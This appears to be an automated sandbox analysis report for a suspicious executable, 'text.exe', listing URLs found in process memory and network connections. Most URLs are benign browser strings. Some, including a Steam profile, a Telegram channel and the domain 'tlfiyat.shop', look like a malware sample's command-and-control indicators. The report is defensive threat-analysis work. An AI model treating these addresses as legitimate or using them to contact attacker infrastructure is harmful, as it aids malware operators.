Source: chrome.exe, 00000001.00000003.1904078175.000062C8015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904028587.000062C8015B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1903990393.000062C8015B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904134584.000062C8015C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/rp
Source: chrome.exe, 00000001.00000003.1904078175.000062C8015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904028587.000062C8015B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1903990393.000062C8015B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904134584.000062C8015C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/tq
Source: chrome.exe, 00000001.00000003.1853710622.00004F0800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904078175.000062C8015BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904028587.000062C8015B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1903990393.000062C8015B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1904134584.000062C8015C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1853078962.00004F0800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000001.00000003.1853710622.00004F0800684000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000001.00000003.1853710622.00004F0800684000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: l6pp8g.0.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1874361473.000062C80039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1900736712.000062C8019C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000003.1853078962.00004F0800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000003.1900736712.000062C8019C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000003.1894981703.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1895243377.000062C80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899390283.000062C801438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899319757.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1882875500.000062C8003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1882995937.000062C801108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1883126212.000062C80120C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1882875500.000062C8003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1882995937.000062C801108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1883126212.000062C80120C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1853078962.00004F0800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1854072418.00004F08006E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1853326363.00004F080039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000003.1899803578.000062C800C5C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000001.00000003.1894981703.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1895243377.000062C80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899390283.000062C801438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899319757.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?tab=rm&amp;ogbl
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000003.1899861313.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000001.00000003.1909057594.000062C801B74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1909057594.000062C801B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877718189.000062C800A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000003.1877718189.000062C800A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000003.1909057594.000062C801B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877718189.000062C800A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1877718189.000062C800A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000003.1909057594.000062C801B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877718189.000062C800A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000003.1882875500.000062C8003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1882995937.000062C801108000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1883126212.000062C80120C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000001.00000003.1894981703.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1895243377.000062C80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899390283.000062C801438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899319757.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: text.exe, text.exe, 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662
Source: text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199819539662go2dnizMozilla/5.0
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: text.exe, 00000000.00000002.2463881539.0000000003103000.00000004.00000020.00020000.00000000.sdmp, c2no8y.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: text.exe, 00000000.00000002.2463881539.00000000030DE000.00000004.00000020.00020000.00000000.sdmp, c2no8y.0.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: text.exe, 00000000.00000002.2463881539.0000000003103000.00000004.00000020.00020000.00000000.sdmp, c2no8y.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: text.exe, 00000000.00000002.2463881539.00000000030DE000.00000004.00000020.00020000.00000000.sdmp, c2no8y.0.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: text.exe, 00000000.00000002.2462880776.0000000000535000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t.me/
Source: text.exe, 00000000.00000003.1734812033.00000000005A4000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://t.me/sc1phell
Source: text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://t.me/sc1phellgo2dnizMozilla/5.0
Source: text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop
Source: text.exe, 00000000.00000002.2462880776.0000000000592000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop&
Source: text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000002.2466221108.00000000038B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop/
Source: text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop/G
Source: text.exe, 00000000.00000003.1749811268.00000000005A2000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop/i
Source: text.exe, 00000000.00000003.1749811268.00000000005A2000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shop/r
Source: text.exe, 00000000.00000003.1779713244.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tlfiyat.shopZ7
Source: text.exe, 00000000.00000003.1734812033.00000000005A4000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000003.1763617947.00000000005A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.telegram.org
Source: text.exe, 00000000.00000002.2463881539.0000000003195000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000002.2466221108.00000000038B8000.00000004.00000020.00020000.00000000.sdmp, l6pp8g.0.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: text.exe, 00000000.00000002.2464725743.000000000344A000.00000004.00000020.00020000.00000000.sdmp, 4wln7g.0.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: text.exe, 00000000.00000002.2463881539.0000000003195000.00000004.00000020.00020000.00000000.sdmp, text.exe, 00000000.00000002.2466221108.00000000038B8000.00000004.00000020.00020000.00000000.sdmp, l6pp8g.0.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1876828804.000062C800D3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1876660700.000062C800D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875347632.000062C800D24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: text.exe, 00000000.00000002.2464725743.000000000344A000.00000004.00000020.00020000.00000000.sdmp, 4wln7g.0.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000003.1894981703.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1895243377.000062C80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899390283.000062C801438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899319757.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/imghp?hl=en&amp;tab=ri&amp;ogbl
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1883126212.000062C80120C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000001.00000003.1905745197.000062C801744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1905779906.000062C801748000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1900119264.000062C8014A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000001.00000003.1894004366.000062C8002A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1894981703.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899296890.000062C800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899390283.000062C801438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899319757.000062C801350000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899239186.000062C801390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.49JL8PttH04.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000001.00000003.1899360135.000062C80136C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.avVfaMsGWq0.L.W.O/m=qmd
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: text.exe, 00000000.00000002.2466697440.0000000003B15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52956
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52957
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52954
Source: unknown Network traffic detected: HTTP traffic on port 52949 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52955
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52958
Source: unknown Network traffic detected: HTTP traffic on port 52951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52955 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52952
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52953
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52950
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52951
Source: unknown Network traffic detected: HTTP traffic on port 52939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52945 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 52948 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52938 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52938
Source: unknown Network traffic detected: HTTP traffic on port 52947 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52939
Source: unknown Network traffic detected: HTTP traffic on port 52953 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52936
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52937
Source: unknown Network traffic detected: HTTP traffic on port 52957 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52937 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52945
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52946
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52943
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52944
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52949
Source: unknown Network traffic detected: HTTP traffic on port 52946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52947
Source: unknown Network traffic detected: HTTP traffic on port 52952 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52948
Source: unknown Network traffic detected: HTTP traffic on port 52956 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52941
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52942
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 52940
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52936 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 52942 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49731 version: TLS 1.2
